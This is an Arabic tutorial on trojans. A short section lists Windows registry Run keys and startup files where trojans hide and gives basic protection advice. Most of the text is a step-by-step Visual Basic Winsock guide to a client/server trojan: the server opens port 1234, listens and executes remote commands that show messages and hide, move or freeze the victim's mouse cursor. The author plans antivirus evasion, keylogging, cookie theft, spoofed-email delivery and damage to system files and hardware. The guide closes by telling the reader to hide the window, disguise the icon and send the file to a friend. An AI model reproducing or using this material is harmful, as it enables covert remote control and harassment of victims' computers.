

بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

جامع الترويضات واكل سميء عنه

Basheer Abdul Fatah Mohammed

١٤٣٣ هـ

الحمد لله رب العالمين ، القائل في محكم التنزيل (وعلمك ما لم تكن تعلم، وكان فضل الله عليك عظيماً)، والصلاة والسلام على سيدنا محمد سيد العلماء و سيد الأولين و الآخرين رسول رب العالمين، وعلى آله و صحبه أجمعين .
فمن وجد خطأً فهو مني وما كان فيه من صواب فمن توفيق الله .

بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ
عَبْدُهُ فَارِع

عالم التروجانات و كل شيء عنه

السلام عليكم سنبدأ بشرح موضوع طويل يتضمن الأقسام التالية

و التي تأتي على شكل اسئلة و أجوبة :

ما هي التروجانات؟!!

أين تختبئ التروجانات داخل نظامنا؟

ما وسائل الحماية منها؟

ما هي المبادئ العامة التي يمكن من خلالها بناء التروجانات؟

ما هي الاتصالات و المنافذ و طرق فتحها في جهاز الخصم؟

كيف تبني تروجانك الخاص بواسطة لغات البرمجة المختلفة؟

كيف تبث هذا التروجان إلى أصدقاءك و تقوم بتشغيلها؟

ما هي التروجانات؟؟

التروجانات أو بالعربية أحصنة طروادى هي عبارة عن برامج صغيرة يتم بثها

إلى الخصم للحصول منه على معلومات أو لإزعاجه و ذلك عندما يكون متصلاً

بالانترنت، و قد تطورت هذه التروجانات و اضيف لها نظام ال key Logger

و الذي يمكننا من خلاله الحصول على كل ضربات أزرار لوحة المفاتيح

ثم بثها إلى عنوان معين و للتروجانات دائماً نظام عمل إما استقبال المعلومات من

المقتم و ينفذها داخل جهاز الخصم و إما استقبال المعلومات من المقتم و إعادة بث

ما يطلبه إليه و بهذه الطريقة عادة يتم بث الكوكيز الخاص بالمنتدى أو البريد

الإلكتروني ثم الدخول إليه و هذه العملية عادة يتم كشفها بواسطة برامج مكافحة

التروجانات إلا إذا قمت ببناء هذا التروجان بنفسك و هذا ما سنقوم بتعلمه في

المراحل القادمة مع تعلم الطريقة الأساسية لضرب برامج مكافحة التروجانات

المشهورة حتى لا تكتشف أي تلاعب لذلك ما لاحظته أن برامج مكافحة التروجانات

الغير مشهورة أقوى من المشهورة

أين تختبئ التروجانات..

يتعتقد الجميع بأن التروجانات تتجه مباشرة إلى المسار التالي داخل الريبستري

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]

و هذا أمر خاطئ حيث يمكن أن تختبئ هذه التروجانات في إحدى المسارات التالية:

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur

rentVersion\RunServicesOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]

و هذه العناوين يتم تنفيذها عادة مع كل تشغيل للجهاز
ملاحظة قد لا تجد البرنامج بصيغة exe إنما يكون متبوعاً بالرمو التالي %*"
عليك البحث أيضاً عن ملفات أخرى داخل هذه المسارات من الريجستري
[HKEY_CLASSES_ROOT\exefile\shell\open\command]
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell
\open\command] أو يمكن أيضاً أن تختبئ التروجانات في مجلد بدء التشغيل
و للوصول إلى هذا الملف عليك الذهاب إلى الذهاب إلى قائمة ابدأ ثم برامج ثم بدء التشغيل ثم
الضغط عليه بالزر الأيمن و اختيار الأمر فتح ثم التحقق من كل مجلد أو ملف داخل الدليل السابق
لأن كل الملفات و المجلدات الموجودة داخل هذا الملف يتم تشغيلها بشكل تلقائي عند بدء تشغيل
الجهاز..

يمكن أيضاً أن تختبئ التروجانات داخل الملف Win.ini عليك البحث داخل هذا الملف عن توابع
مثل run أو load فإن وجدت أن أسم + مسار البرنامج غريباً عليك
فأغلب الظن أنه تروجان يمكن أيضاً أن تختبئ التروجانات داخل الملف system.ini عليك البحث
داخل هذا الملف عن توابع مثل shell فإن وجدت أن أسم + مسار البرنامج غريباً عليك فأغلب الظن
أنه تروجان لعين أو يمكن أيضاً أن يكون داخل الملف autoexec.bat قم بتحرير هذا الملف و قم
بالبحث عن الملفات الغريبة
و التي تنتهي بامتدادات مثل .bat, .com, .pif, .scr, .exe. أو داخل الملف _ config.sys أحياناً
يمكن أن يلجأ مبرمج التروجانات إلى استخدام تقنية الأسماء المتشابهة فكلنا نعرف الملف
command.com قد يلجأ المبرمج إلى وضع ملف له أسم command.exe بحيث لا يلاحظ من
يبحث عن الملف الهدف وجود تغير
أو يمكن حتى أن تجد ملف له الاسم نفسه مع الامتداد نفسه لكن في مجلد آخر..
و لحل هذه المشكلة يمكنك استخدام Windows Task Manager لتدقيق ملفات الويندوز
الاساسية.

ما هي وسائل الحماية من التروجانات؟؟!!
وسائل الحماية منها كثيرة و متعددة و كما يقال الوقاية خير من العلاج
لأن الملفات التي تلتصق بها التروجانات لا توجد إلا في المواقع الغير رسمية
كمواقع الكراكات و المواقع الاباحية أو التي يتم بثها إلى البريد الالكتروني
أو عبر برامج المحادثة.. لذا حاول قدر الإمكان الابتعاد عن مثل هذه المناطق...
كما توجد العديد من البرامج مثل ال zone Alarm أو ال Trojan Remover...
متخصصة بإزالة مثل هذه الملفات من جهازك..
كما يمكنك بطريقة manual حذف هذا الملف بعد البحث عنه بالطرق السابقة التي
ذكرناها.

ما هي الاتصالات و المنافذ و طرق فتحها في جهاز الخصم؟؟
عن طرق الحصول على ال IP .
المبدأ العامل للاتصال:
في اللحظة التي تقوم بها بعمل اتصال تقوم ببث عدة أشياء
و هي كالتالي:

اسم المستخدم، تاريخ وقت الاتصال، البروكسي، منفذ الاتصال، عنوان الموقع
و البروكسي يقوم هنا بدور بوابة بينك و بين IP الموقع الذي تقوم بالاتصال معه..
المنافذ: إذا فرضاً مثلاً أن كل جهاز متصل بالعالم هو عبارة عن منزل
فما هي الطريقة التي يمكننا الدخول إلى هذا المنزل هي هنا المفتاح أي المنفذ

و الذي من خلاله يمكننا الدخول إلى أي جهاز دون مشاكل تذكر و خاصة لو قمنا بتسكير خاصية عمل برامج مكافحة التروجانات ...
كيف يتم فتح هذه المنافذ عند الخضم؟؟!!
بواسطة التروجان طبعاً و الذي سنقوم ببرمجته قريباً جداً
و سنحاول أيضاً برمجة تروجان نافع ليستطيع الشخص أن يتصل بالصوت و الصورة إلى أي مكان دون استخدام البروكسي أصلاً.
ما هي المبادئ العامة التي يمكن من خلالها بناء التروجانات؟؟
عليك قبل التفكير ببناء أحد التروجانات معرفة أحد الأمور المهمة التالية:

- ١ - معرفة جيدة بالريجستري
- ٢ - معرفة إحدى لغات البرمجة و ليس من الضروري هنا أن تكون لغة معقدة.
- ٣ - معرفة جيدة بتوابع ال API التي من خلالها نستطيع التحكم بالنظام بشكل كامل.
- ٤ - معرفة وسائل بث هذا التروجان و طرق الترميز و تشفيره .

الريجستري :

هو عبارة عن قاعدة بيانات يتم من خلالها حفظ القيم التي يتم استدعاءها لحظياً أثناء تشغيل بعض البرامج ..

لغات البرمجة :

سنقوم ببرمجة هذا التروجان بعون الله باستخدام لغة برمجة سهلة و مفهومة مثل لغة الفيجوال بيسك ، بالإضافة إلى استخدام بعض عناصر ال ocx التي يمكننا من خلالها الاتصال بشبكة الانترنت و بث المعلومات إلى الجهاز الآخر

توابع ال API:

باستخدام هذه التوابع نستطيع التحكم بجهاز الخضم بشكل كامل و هذه التوابع موجودة بكل لغات البرمجة بدءاً من الفيجوال بيسك إلى الفيجوال سي++ إلى ...
و نستطيع أيضاً من خلال هذه التوابع الاتصال بالريجستري أو تغيير قيمها

وسائل بث التروجان :

تتم عادة بث التروجانات عبر البريد الإلكتروني أو الماسنجر لذلك سنتعلم أيضاً كيف نقوم ببث البريد الإلكتروني + تغيير عنوان الذي أرسله فمثلاً نقوم ببث الرسالة على أنها رسالة من موقع مشهور مثل مكتوب و نقوم بتحميل التروجان داخلها.

بناء التروجان :

قبل كل شيء علينا أن نتفق على الأمور التالية :

1- عدم استخدام هذا التروجان على أي مسلم و أخذ الموضوع على أنه علم في سبيل العلم فقط.

2- بما هي مدى خطورة هذا التروجان أي ماهي الأمور التي سنبرمجها لتقع على الخضم و قد لخصت هذه الأشياء بالأمور التالية و هي متسلسلة حسب الخطورة منها :

- ١ - ارسال رسائل مزعجة إلى الخضم دون أن يدري
- ٢ - إخفاء أو تلاعب بمؤشر الفأرة
- ٣ - التلاعب بارتعاش الشاشة و بعض الأشياء
- ٤ - التلاعب أو تشغيل برامج أو إغلاق برامج
- ٥ - قراءة أو حذف البريد الإلكتروني
- ٦ - تخريب ملفات النظام الأساسية
- ٧ - تخريب الهارد وير

سنحدث عن ال ActiveX التي سنقوم باستخدامها
لربط الأجهزة مع بعضها و هي ال **Microsoft Winsock Control 6**
و طريقة استدعاء هذا العنصر ضمن الفيچوال بيسك تتم بالطريقة
التالية:
أولاً: إذهب إلى ال **Tool Bar** الموجودة في يسار الشاشة ثم اضغط
بالزر الأيمن
للفأرة ستظهر لك قائمة منسدلة قم باختيار **components**

2- ستظهر لك الآن قائمة قم بوضع إشارة صح (**check**) على العنصر
Microsoft Winsock Control 6
ثم اضغط على زر **OK** ستلاحظ بأن هناك أداة صغير لها شكل جهازي
كمبيوتر متصلين
بعضهما قد زادت عندك.
قم بعمل ضغطتين متتاليتين عليها حتى يتم وضعها على الفورم
الخاصة بـ **3 ...**

ثانياً : الآن قم بإضافة زر **command1** بحيث يكون
caption= فهم توابع هذا العنصر
ثم نقوم بكتابة الكود التالي (داخل الزر) و الذي من خلاله
سنعرف بعض خصائص الشبكة عندنا:

code:

```
MsgBox رقم الآي بي الخاص بالجهاز & "
Winsock1.LocalIP

MsgBox اسم الهوست & "
Winsock1.LocalHostName

MsgBox رقم المنفذ الخاص بجهازك & "
Winsock1.LocalPort
```

الآن هاكم التوابع التي سنستخدمها بعمل الاتصال مع شرح كل واحدة منها:

ثالثاً : حالة الاتصال:

Winsock1.Connect

البرامترات التابعة

1-رقم الآي بي بالجهاز الخصم

2-رقم المنفذ الذي تقوم بالتجسس عليه

و لتطبيقه بالطريقة التالية :

[code]

Winsock1.Connect(ip,Port)
[code]

حالة الحصول على بيانات (إستلام بيانات من الكلينت)

Winsock1.GetData

البرامترات التابعة:

1-البيانات القادمة

2-نوعها

3-طول نبضة البث

و لتطبيقه بالطريقة التالية:

[code]

Winsock1.GetData(data,type,maxlen)

[code]

حالة الاستماع إلى المنفذ الذي قمنا بفتحه في جهاز الخصم:

Winsock1.Listen

-لا يوجد لها بارامترات تابعة

فتح منفذ (port) في جهاز الخصم

Winsock1.LocalPort

بارامترات التابعة هي تحديد رقم هذا المنفذ على سبيل المثال نريد أن نفتح المنفذ

١٢٣٢

فنكتب بهذه الحالة الكود التالي:

[code]

Winsock1.LocalPort=1232

[code]

تحديد نوع البروتوكول المستخدم في الاتصال:

Winsock1.Protocol

البرامترات الملحقة هي تحديد نوع البروتوكول أي إما TCP أو UDP

و لكتابة هذا الكود نضيف إشارة يساوي بعد **Winsock1.Protocol** فيظهر لنا

خياران على الشاشة

نختار ما يناسبنا منها و نحن هنا نقوم باختيار **sckTCPProtocol**

حالة إرسال البيانات:

Winsock1.SendData

البرامترات الملحقة هي فقط هنا البيانات وهي من النمط **string**

أي لكتابة الكود الذي سنقوم به ببث تعليمة أسمها مثلاً **lala** نكتب

[code]

Winsock1.SendData"lala"

[code]

آلية العمل

الآلية العمل أخي العزيز بسيطة و غير معقدة كما يتصور البعض

حيث نقوم اولاً بفتح منفذ عند الخصم بواسطة ملف ال **server** ثم نقوم بتحديد

بروتوكول الاتصال

ثم نقوم بعمل اتصال بواسطة رقم الأبي + رقم المنفذ المفتوح عند الخصم

ثم نقوم ببث البيانات التي نريدها إلى جهاز الخصم الذي يقوم بدوره باستقبال

هذه البيانات و تنفيذ المطلوب عمله في جهاز الخصم من خلال البيانات المرسله

تطبيق المشروع + شروح عملية كاملة....

سنبدأ بإرسال رسائل إلى المستخدم
اولا كلنا نعرف بأن التروجان هو عبارة عن ملفين الأول
عندك و الثاني عند الخصم
سنبدأ الآن بتشكيل الملف الذي سيقى عندك و هو
الcelint
نفتح مشروعاً جديداً و نضيف ٢ text و label واحد و ثلاث
أزرار و نغير عناوين هذه الأزرار
لتصبح كالتالي:
name=command1:caption=
name=command2:caption=
name=command3:caption=
الآن داخل الزر الأول نقوم بكتابة الكود التالي:

code:

```
Command1.Enabled = False  
Label1.Caption = "جاري الاتصال"  
Winsock1.Connect Text1.Text, 1234
```

شرحه :
السطر الأول لإلغاء تفعيل الزر الأول حتى لا تقوم المتصل بطلب إتصال آخر وقت
الاتصال
السطر الثاني لتغير عنوان صندوق العناوين إلى جاري الاتصال
السطر الثالث للإتصال مع Ip معين نكتبه داخل ال text1 و رقم المنفذ المفتوح عند
الخصم
و الذي سنقوم بفتحه عنده و ليكن المنفذ رقم ١٢٣٤
الآن داخل الزر الثاني نكتب الكود التالي:

code:

`Command1.Enabled = True`

`Label1.Caption = "تم قطع الاتصال"`

`Winsock1.Close`

شرحه:

السطر الأول لإعادة تفعيل الزر الأول أي زر الاتصال
السطر الثاني لتغيير صندوق العناوين إلى (تم قطع الاتصال)
السطر الثالث لإغلاق الإتصال مع الجهاز الخصم
الآن داخل الزر الثالث نكتب الكود التالي:

code:

`Winsock1.SendData "msg" & Text2.Text`

شرحه:

يقوم السطر السابق بإرسال بيان كتابي هو `msg` و الذي سنرمزه في جهاز الخصم
على أنه رسالة
ثم `&` الكلام المكتوب داخل الصندوق `text2` ليتم ارسال رسالة بما بداخلها
الآن نقوم بالضغط على ال `winsock` التي تعلمنا إضافتها في الدرس السابق
ثم نكتب داخل الحدث `connect` الكود التالي:

code:

`Label1.Caption = "تم عملية الاتصال بالجهاز الآخر"`

شرحه:

السطر السابق يحدث عندما يتم الاتصال مع الجهاز الخصم و عندها يتم تغيير

صندوق العناوين **abelcaption** الى (تم عملية الاتصال بالجهاز الآخر)
نرتب الأزار لتصبح موافقة للصورة المرفقة

**الآن ننتقل إلى السيرفر و التي سنقوم بارسالها إلى جهاز
الخصم**

نقوم بفتح مشروع جديد
الآن نقوم كالعادة بإضافة أداة الإتصال **winsock**
ثم نكتب داخل الفورم **load** الكود التالي:

code:

```
Winsock1.LocalPort = 1234
```

```
Winsock1.Listen
```

شرحه:

يقوم السطر الأول بفتح منفذ في جهاز الخصم و هو هنا **1234**
أما السطر الثاني فهو لبدء أخذ معلومات كن هذا المنفذ

الآن داخل ال **winsock** ضمن الحدث **ConnectionRequest** نقوم بكتابة
الكود التالي:

code:

```
Winsock1.Close
```

```
Winsock1.Accept requestID
```

شرحه:

السطر الأول لإغلاق الاتصال و الثاني لقبول البيانات القادمة من الكلينت

الآن داخل الحدث **DataArrival** نكتب الكود التالي:

code:

```
Dim vardata As String
Dim strdata As String
Dim cmddata As String * 3
Winsock1.GetData strdata
cmddata = Left(strdata, 3)
vardata = Right(strdata, Len(strdata) - 3)
DoCommand cmddata, vardata
```

السطر السابق يتضمن تعاريف للبيانات القادمة
و السطر الأخير هو للتابع الذي سنضيفه إلى ال module
الآن عند الحدث **Error** أي حدث حدوث خطأ بالاتصال نكتب الكود التالي:

code:

```
Winsock1.Close
Winsock1.Listen
```

شرحه:
السطر الأول لإغلاق الاتصال
السطر الثاني لإعادة أخذ البيانات القادمة من الكلينت
-الآن نقوم بإضافة module من قائمة project ثم نقوم بإنشاء تابع على
الشكل التالي:

code:

Public Function DoCommand(command As String, data As String)

ثم نقوم بإنشاء حالات عن البيانات القادمة (سنضيف ما نريد فيما بعد) و ذلك
بإضافة
الكود التالي:

code:

Select Case LCase(command)

نضيف الآن حالة وصول البيان الذي يحمل البتات **msg** و التي سنعرفها هنا على
أنها **msgbox**
و نكتب الكود التالي:

code:

Case "msg"

MsgBox data, vbInformation, "Information"

السطر الأول نوع الحالة
السطر الثاني يقوم بإظهار صندوق رسالة إلى المستخدم يحوي على البيانات
المكتوبة ضمن ال **text2** في الكلينت
ثم نضيف الكود التالي لانهاء الحالات

code:

End Select

و ننهي هذا التابع كالعادة بالتعليمة

code:

End Function

بهذا أصبح كل شيء جاهزاً عليك الآن ارسال هذه الملف لصديقك و التجريب عليه

الخطوات التي اتفقنا عليها
نفتح المشروع السابق لنضيف له خيارات جديدة و هي التي تتعلق بمؤشر الفأرة
و سنستخدم في هذا الدرس التوابع الجديدة التالية:

SetCursorPos:

يمكننا من خلالها تغيير و تحديد مكان جديد لمؤشر الفأرة عند جهاز الخصم

SetDoubleClickTime:

يمكننا من خلال هذا التابع إنقاص الفترة الزمنية للضغط على المؤشر بحيث
لا يتمكن المستخدم من عمل ضغطتين متتاليتين على الفأرة

ShowCursor:

لأظهار وإخفاء مؤشر الفأرة

نقوم في المشروع السابق (الكليته) بإضافة ثلاث أزرار جديدة لتأخذ الترتيب من ٤ إلى ٧
و قم بتغيير عناوينها للتالي:

name=command4:caption=

name=command5:caption=

name=command6:caption=

name=command7:caption=

نقوم الآن بإرسال رموز نمط **string** إلى جهاز الخصم ثم نقوم في الملف الثاني
بترجمة هذه الرموز

نكتب داخل الزر الرابع الكود التالي:

code:

Private Sub Command4_Click()

Winsock1.SendData "frz"

End Sub

و الخامس:

code:

Private Sub Command5_Click()

Winsock1.SendData "sss"

End Sub

و السادس:

code:

Private Sub Command6_Click()

Winsock1.SendData "hid"

End Sub

و السابع:

code:

Private Sub Command7_Click()

Winsock1.SendData "sho"

End Sub

و لقد انتهينا الآن من ملف الكينيت ننتقل الآن إلى ملف السيرفر في جهاز الخضم
و نقوم بفتح المشروع السابق و نضيف عليه التوابع التي قمنا بشرحها سابقاً
(من قائمة **add-ins** ثم **api Viewer**)
ثم نقوم بالدخول إلى ال **module** الخاصة بنا و نضع تصاريح التوابع في قسم
التصريحات العامة:
أي:

code:

**Public Declare Function SetCursorPos Lib "user32"
Alias "SetCursorPos" (ByVal x As Long, ByVal y As
Long) As Long**

**Public Declare Function SetDoubleClickTime Lib
"user32" Alias "SetDoubleClickTime" (ByVal wCount As
Long) As Long**

**Public Declare Function ShowCursor Lib "user32" Alias
"ShowCursor" (ByVal bShow As Long) As Long**

ثم نعرف ثلاث متحولات نمط **srting** تعبر عن التابع على النحو التالي:

code:

Dim setcursor As String

Dim clickTime As String

Dim show As String

ثم نقوم بإضافة حالات البيانات المرمزة القادمة:

code:

```
Case "frz"
setcursor = SetCursorPos(50, 50)
Case "sss"
clickTime = SetDoubleClickTime(50)
Case "hid"
show = ShowCursor(0)
Case "sho"
show = ShowCursor(1)
```

كخطوة نهائية نقوم بإخفاء الفورم و تغيير ال icon إلى شكل صورة ما

ملاحظة يمكنك أن تجرب إقتحام نفسك فتح الملف السيرفر اولاً ثم ضع الآي بي ١٢٧.٠.٠.١ .

تم بحمد الله الانتهاء من كتابة هذه النوتة وإن شاء الله هي خالية من الأخطاء وجل من لا يسهى ونرجو منكم الدعاء لنا في ظهر الغيب والله المبتغى من وراء القصد.

ارجو منكم الدعاء لي

**Basheer abduh
faree Mohammed**

Basheer2010.55@gmail.com

Alfaree1988@yahoo.com

